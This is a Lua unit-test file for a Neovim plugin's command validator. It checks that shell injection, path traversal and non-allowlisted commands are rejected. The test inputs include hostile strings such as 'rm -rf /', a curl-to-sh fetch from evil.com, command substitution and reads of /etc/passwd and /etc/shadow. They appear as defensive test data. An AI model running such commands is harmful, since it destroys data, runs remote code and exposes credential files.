local validator = require("vibing.infrastructure.nvim.command_validator")

describe("command_validator", function()
  describe("shell injection prevention (UT-SEC-001)", function()
    it("should reject shell command with !", function()
      local ok, err = validator.validate("!rm -rf /")
      assert.is_false(ok)
      assert.is_not_nil(err)
    end)

    it("should reject shell command with :!", function()
      local ok, err = validator.validate(":!curl evil.com | sh")
      assert.is_false(ok)
    end)

    it("should reject lua vim.fn.system calls", function()
      local ok, err = validator.validate("lua vim.fn.system('rm -rf /')")
      assert.is_false(ok)
    end)

    it("should reject shell expansion with $()", function()
      local ok, err = validator.validate("e $(whoami).txt")
      assert.is_false(ok)
    end)

    it("should reject backtick expansion", function()
      local ok, err = validator.validate("e `date`.log")
      assert.is_false(ok)
    end)

    it("should reject piped shell commands", function()
      local ok, err = validator.validate("e test.lua | !echo pwned")
      assert.is_false(ok)
    end)
  end)

  describe("path traversal prevention (UT-SEC-002)", function()
    it("should reject path with ../", function()
      local ok, err = validator.validate("e ../../../etc/passwd")
      assert.is_false(ok)
    end)

    it("should reject absolute paths to sensitive files", function()
      local ok, err = validator.validate("e /etc/shadow")
      assert.is_false(ok)
    end)

    it("should allow relative paths within project", function()
      local ok, err = validator.validate("e ./src/test.lua")
      assert.is_true(ok)
    end)

    it("should allow simple relative paths", function()
      local ok, err = validator.validate("e src/init.lua")
      assert.is_true(ok)
    end)
  end)

  describe("allowlist validation (UT-SEC-003)", function()
    it("should allow edit command", function()
      local ok, err = validator.validate("edit test.lua")
      assert.is_true(ok)
    end)

    it("should allow e command", function()
      local ok, err = validator.validate("e test.lua")
      assert.is_true(ok)
    end)

    it("should allow buffer command", function()
      local ok, err = validator.validate("buffer 1")
      assert.is_true(ok)
    end)

    it("should allow bnext command", function()
      local ok, err = validator.validate("bnext")
      assert.is_true(ok)
    end)

    it("should allow bprevious command", function()
      local ok, err = validator.validate("bprevious")
      assert.is_true(ok)
    end)

    it("should allow vsplit command", function()
      local ok, err = validator.validate("vsplit")
      assert.is_true(ok)
    end)

    it("should allow split command", function()
      local ok, err = validator.validate("split")
      assert.is_true(ok)
    end)

    it("should allow close command", function()
      local ok, err = validator.validate("close")
      assert.is_true(ok)
    end)

    it("should allow write command", function()
      local ok, err = validator.validate("write")
      assert.is_true(ok)
    end)

    it("should allow w command", function()
      local ok, err = validator.validate("w")
      assert.is_true(ok)
    end)

    it("should reject unknown commands", function()
      local ok, err = validator.validate("unknowncommand")
      assert.is_false(ok)
    end)
  end)

  describe("edge cases", function()
    it("should reject empty command", function()
      local ok, err = validator.validate("")
      assert.is_false(ok)
    end)

    it("should reject nil command", function()
      local ok, err = validator.validate(nil)
      assert.is_false(ok)
    end)

    it("should handle commands with arguments", function()
      local ok, err = validator.validate("e src/main.lua")
      assert.is_true(ok)
    end)

    it("should reject jobstart attempts", function()
      local ok, err = validator.validate("lua vim.fn.jobstart('malicious')")
      assert.is_false(ok)
    end)

    it("should reject termopen attempts", function()
      local ok, err = validator.validate("lua vim.fn.termopen('bash')")
      assert.is_false(ok)
    end)
  end)
end)
